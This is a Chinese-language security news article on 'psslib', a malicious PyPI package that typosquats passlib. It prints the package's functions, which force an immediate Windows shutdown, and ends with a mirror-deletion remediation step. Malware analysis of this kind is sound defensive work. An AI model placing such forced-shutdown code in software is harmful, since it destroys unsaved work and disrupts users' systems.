【网络安全】恶意 Python 包“psslib”仿冒 passlib,可导致 Windows 系统关闭

发布于:2025-07-09 ⋅ 阅读:(15) ⋅ 点赞:(0)

恶意 Python 包“psslib”仿冒 passlib

Socket 的威胁研究团队发现了一个名为 psslib 的恶意 Python 包,旨在以提供密码安全功能为幌子突然关闭 Windows 系统。

该软件包由威胁行为者使用别名 umaraq 编写,是合法 passlib 库的错误拼写,passlib 库是数百万开发人员信赖,并且广泛使用的密码哈希工具包。

“恶意 psslib 包通过将自己伪装成安全实用程序来利用这种信任,同时包含可能导致立即数据丢失和系统中断的代码,”

攻击从一个名称技巧开始:psslib 与 passlib 非常相似,可能希望欺骗快速键入或依赖自动完成的开发人员。passlib 每月下载量超过 890 万次。

“Socket 的 AI Scanner 将 psslib 标记为恶意,因为它具有破坏性的系统关闭行为。”

导入后,由于密码输入错误而触发,psslib 将执行 Windows 关机命令 (shutdown /s /t 1),使计算机在 1 秒内关闭电源。

该软件包假装通过名为 spc() 的函数提供密码保护,并使用 easygui.enterbox() 进行用户输入。如果用户输入与预设值不匹配,它将立即关闭系统。

def spc(password):
    # Malicious code: Forces immediate system shutdown on incorrect input
    if easygui.enterbox('enter password:-') != password:
        os.system("shutdown /s /t 1")  # Shutdown in 1 second

除此之外,psslib 还包括另外两个函数 — src() 和 error() — 它们根本不在进行任何身份验证的情况下关闭系统。

def src():
    # Directly forces system shutdown without user input
    os.system("shutdown /s /t 1")

def error(message):
    # Writes an error message and forces system shutdown
    sys.stderr.write(message)
    os.system("shutdown /s /t 1")

这些额外的向量确保即使对库的有限使用也可能立即危及开发人员的计算机,尤其是在以提升的权限运行的环境中。

该恶意软件专门针对基于 Windows 的开发环境,在这些环境中,关闭命令有效且经常被忽视。虽然由于作系统命令差异,有效负载在 Linux 或 macOS 上无害地失败,但该软件包的 Windows 特定性质表明了目标意图。

“攻击是完全有效的。shutdown 命令按预期执行,强制立即关闭系统,这可能导致:未保存的工作和数据丢失、打开的文件和数据库损坏以及正在运行的服务中断。

如何避免psslib的威胁

需要现在mirror服务器上查看是否存在psslib的威胁包
在这里插入图片描述
如果存在,可以手动进行删除:

sudo bandersnatch delete psslib